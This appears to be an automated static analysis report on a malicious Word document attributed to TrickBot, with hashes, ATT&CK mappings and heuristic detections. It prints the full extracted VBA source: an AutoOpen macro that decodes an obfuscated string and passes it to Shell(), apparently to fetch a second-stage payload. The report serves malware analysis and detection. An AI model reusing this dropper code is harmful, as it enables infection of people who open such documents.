TrickBot — Office (OLE) malware analysis

Static analysis result for SHA-256 2419210bdd20b352…

MALICIOUS

Office (OLE)

75.0 KB Created: 2017-08-31 08:26:00 Authoring application: Microsoft Office Word First seen: 2019-12-10
MD5: c2d71afecb3afab088f8f72e38643555 SHA-1: 1194c6e068f7d9fe94269a4f32f3799a2ffb0ad2 SHA-256: 2419210bdd20b352b357573e72eb82bafa801b078f25517546bd348e2e93a505
262 Risk Score

Malware Insights

TrickBot · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros with an autoopen subroutine that calls the Shell() function, a critical indicator of malicious activity. ClamAV identifies the file as Doc.Downloader.TrickBot-6336123-0, strongly suggesting the TrickBot family. The macro's obfuscated script likely downloads and executes a second-stage payload, a common tactic for TrickBot.

Heuristics 8

  • ClamAV: Doc.Downloader.TrickBot-6336123-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.TrickBot-6336123-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2878 bytes
SHA-256: f670c9a496cb8df848675cc45b95cb97919a74df6af8c8a9755f5ee666194450
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()

minicole

End Sub


Attribute VB_Name = "Module1"

Function mievite()

mievite = "dne!AF0d!QpFFxfsATifmHHYm!#(YYQpxHRfsTRif1Hmm!#Y#gSvoSRdujpMo!YSYnblFSfe)\1FTusYSFjAAoAh^!%AM1jAYAo*|ASY)SROfRHRxS.PckFSfAdu!FYFTHHztFAAuf11Mn/OfuA/XfcAADmSSjfouH*Y/1AEpxoRSSmpbeGSRjmf)R%jo-HM1(AF1(&UNMRQF&]cjdMF1qMSsdw/fMYAyHf((*<1TuFbSMsSuSHM.QspdSftt!YR((&FHUNQ&]ScjH1dqsdwR/fyYSf((H<M~uszMM|nblHYfFSeR)((iu1Auq;00ARRfY1wbmvYRbuRps.fRSSyqfsMu/FRspRY0tYHHfshjA11p/qoHh((*~FSdHMMbudi|RSRnblfMSRe)((ARSiuuYMHqFMM;0FS0xxx/FfRHwHfouHAAt5vR/d{0H1tfshHjpAM/qFYoh(F(*~S(##!}SMR!PvuAS.GFHjmf!.1foYdpejAHSoh!MRBTFY1DJSHJRF!Y.Gj1RmfQbHuiRRR!&UNQAAR&]derRMMgnHY/cbuY1<1TuSHbsu.HQYAspdYfttH!(&UNRQ&RA]deHAArgn/cHbu(R!.FXjoepSxTuzmYfA!IjeeMfo#RY"

End Function

Function balka(nij)

balka = UBound(nij)

End Function

Sub minicole()
Dim s As String
Dim ind As Integer
ind = UserForm1.ListBox1.Left
s = "" + mievite()
Dim sder As String
s = s + ""
sder = Cadziasa(ind, s)
End Sub

Function Casechoose()
Dim j As Integer
Casechoose = 15 - 20
j = 1 + Casechoose
End Function


Function Cadziasa(file, data)
Dim Lzzs() As Byte
Dim fgchqeu3() As Byte
Dim kdvtkpmm As String
kdvtkpmm = "YMASHFR1"
Dim yztvpmyP As String
fgchqeu3 = kdvtkpmm
AE = balka(fgchqeu3)
Dim com57 As Integer
Dim vin1 As Integer
Dim XrttacaI() As Byte
Dim Cgvdnt As String
Dim pqjbiux() As Byte
Dim i As Integer
Dim QW As Integer
Dim nulll As Integer
nulll = 0
Dim ngwiL As String
i = 385
vin1 = 7 - file
Dim hzmould As String
yztvpmyP = data
Cgvdnt = ""
Lzzs = yztvpmyP
hzmould = "Ogrisf"
QW = balka(Lzzs)
ngwiL = "Gerc3"
bin = nulll
For uD = bin To QW
lnro = nulll
For YmnY = nulll To AE
If Lzzs(uD) = fgchqeu3(YmnY) Then
lnro = 1 + nulll + lnro
End If
Next
If bin = lnro Then
cij = Lzzs(uD) - vin1
End If
If lnro = bin Then Cgvdnt = Cgvdnt + Chr$(cij)
Next
Cadziasa = Cgvdnt
com57 = vin1 + i
vin1 = 6 + Casechoose()
com57 = Len(Cgvdnt) - 1 * com57
If com57 * vin1 = 0 Then
Cadziasa = Cadziasa + ""
Shell Cadziasa, com57
vin1 = Casechoose()
End If

End Function


Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{D779D184-480D-48A8-90CD-C1BE24DC3AB2}{A93AD4C5-C95F-40E1-9B0D-23A9C4625C98}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Sub CommandButton1_Click()

End Sub

Private Sub CommandButton2_Click()

End Sub

Private Sub ListBox1_Click()

End Sub

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